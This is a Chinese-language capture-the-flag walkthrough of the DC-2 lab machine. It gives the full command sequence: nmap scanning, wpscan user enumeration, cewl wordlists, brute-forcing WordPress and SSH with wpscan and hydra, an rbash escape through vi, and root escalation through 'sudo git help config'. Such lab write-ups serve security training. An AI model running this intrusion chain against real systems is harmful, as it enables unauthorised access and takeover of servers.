DC-2
环境:
靶机名称:DC-2
攻击机:kali 192.168.78.135
1. 打开虚拟机
- 导入.ova文件,开启虚拟机
2. 信息收集
2.1 nmap扫描存活主机确定DC-2的ip地址
nmap -sP 192.168.78.0/24
- IP 为192.168.78.128
2.2 利用namp扫描DC-2开放的端口
nmap -sV -A -p- 192.168.78.128
-sV探测服务器版本
- 发现开启了http和ssh服务,并且ssh服务的端口是7744
2.3 访问一下80端口
-
发现输入IP回车访问后,有域名限制,不能访问到dc-2,http-title: Did not follow redirect to http://dc-2/(未能重定向)
-
添加DNS解析记录,在C:\Windows\System32\drivers\etc中的hosts文件中添加对应的解析记录
192.168.78.128 dc-2
- 删除缓存,重新访问
2.4 尝试寻找该网站的CMS
3. 寻找flag
3.1 寻找flag1
- 在网站首页
-
提示我们使用cewl,尝试登录用户
-
cewl是kali自带的能够生成密码字典的工具
3.2 寻找flag2
-
根据上文提示,我们需要登录到wordpress的后台,那么如何寻找wordpress的后台登录地址
-
对网站进行目录扫描,找到后台登录地址,这里我用的御剑后台扫描
-
访问后台登录页面
-
发现用户名和密码都需要爆破
-
使用漏扫工具wpscan
补充
WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括WordPress本身的漏洞、插件漏洞和主题漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。
学习网址:https://idc.wanyunshuju.com/aqst/1885.html
wpscan --ignore-main-redirect --url http://192.168.78.128 --enumerate u --force
-
扫描出三个用户名:admin,tom,jerry
-
或者使用nessus漏扫工具,也可以扫到用户名
- 接下来根据flag1的提示,使用cewl生成密码
补充
cewl是一个 ruby 应用,爬行指定url的指定深度。也可以跟一个外部链接,结果会返回一个单词列表,这个列表可以扔到John the ripper工具里进行密码破解。cewl还有一个相关的命令行 工具 应用FAB,它使用相同的元数据提取技术从已下载的列表中创建作者/创建者列表。
学习网址:https://www.codercto.com/a/44828.html
cewl http://dc-2/ -w passwd.txt
-w//表示把生成的密码写入这个文件
- 用户名已知,密码字典已知,用wpscan爆破密码
wpscan --ignore-main-redirect --url http://dc-2/ -U user.txt -P passwd.txt -t 30
- 或者使用burpsuite爆破
- 登录到tom和jerry的后台查看
- 发现jerry的后台有flag2
- 提示我们寻找另一个切入点
3.3 寻找flag3
- 根据上文提示的另一个切入点,尝试利用ssh(只有两个服务)
- 利用上文的用户名和密码字典,通过hydra爆破ssh登录密码
hydra -t 32 -l admin -P passwd.txt -s 7744 192.168.78.128 ssh
hydra -t 32 -l tom -P passwd.txt -s 7744 192.168.78.128 ssh
hydra -t 32 -l jerry -P passwd.txt -s 7744 192.168.78.128 ssh
- 发现只有tom能爆破出密码
- 利用ssh登录tom
- 发现没有cat命令,利用
vi flag3.txt
3.4 寻找flag4.txt
- 根据上文提示我们需要su到jerry用户
- 找不到该命令
- 查看一下passwd信息,发现tom是/bin/rbash
补充
什么是rbash?
受限shell是LinuxShell限制一些bash shell中的功能,并且是从名字上很清楚。 该限制很好地实现了命令以及脚本在受限shell中运行。 它为Linux中的bash shell提供了一个额外的安全层。
- 绕过rbash
学习网址:https://cloud.tencent.com/developer/article/1680551
https://blog.csdn.net/qq_43168364/article/details/111830233
- 这里我们使用vi编辑器来绕过rbash
//新建一个文件,末行命令,回车
vi test
:set shell=/bin/sh
:shell
//设置环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
- 尝试su到jerry,发现成功并且找到flag4.txt
- 提示我们使用git
3.4 寻找the final flag
-
根据上文提示,使用git提权
-
git提权:
1、sudo git help config #在末行命令模式输入
!/bin/bash 或 !‘sh’ #完成提权
2、sudo git -p help
!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell -
提权成功后,找到最后的flag
总结
- 学会绕过rbash限制shell,以及git提权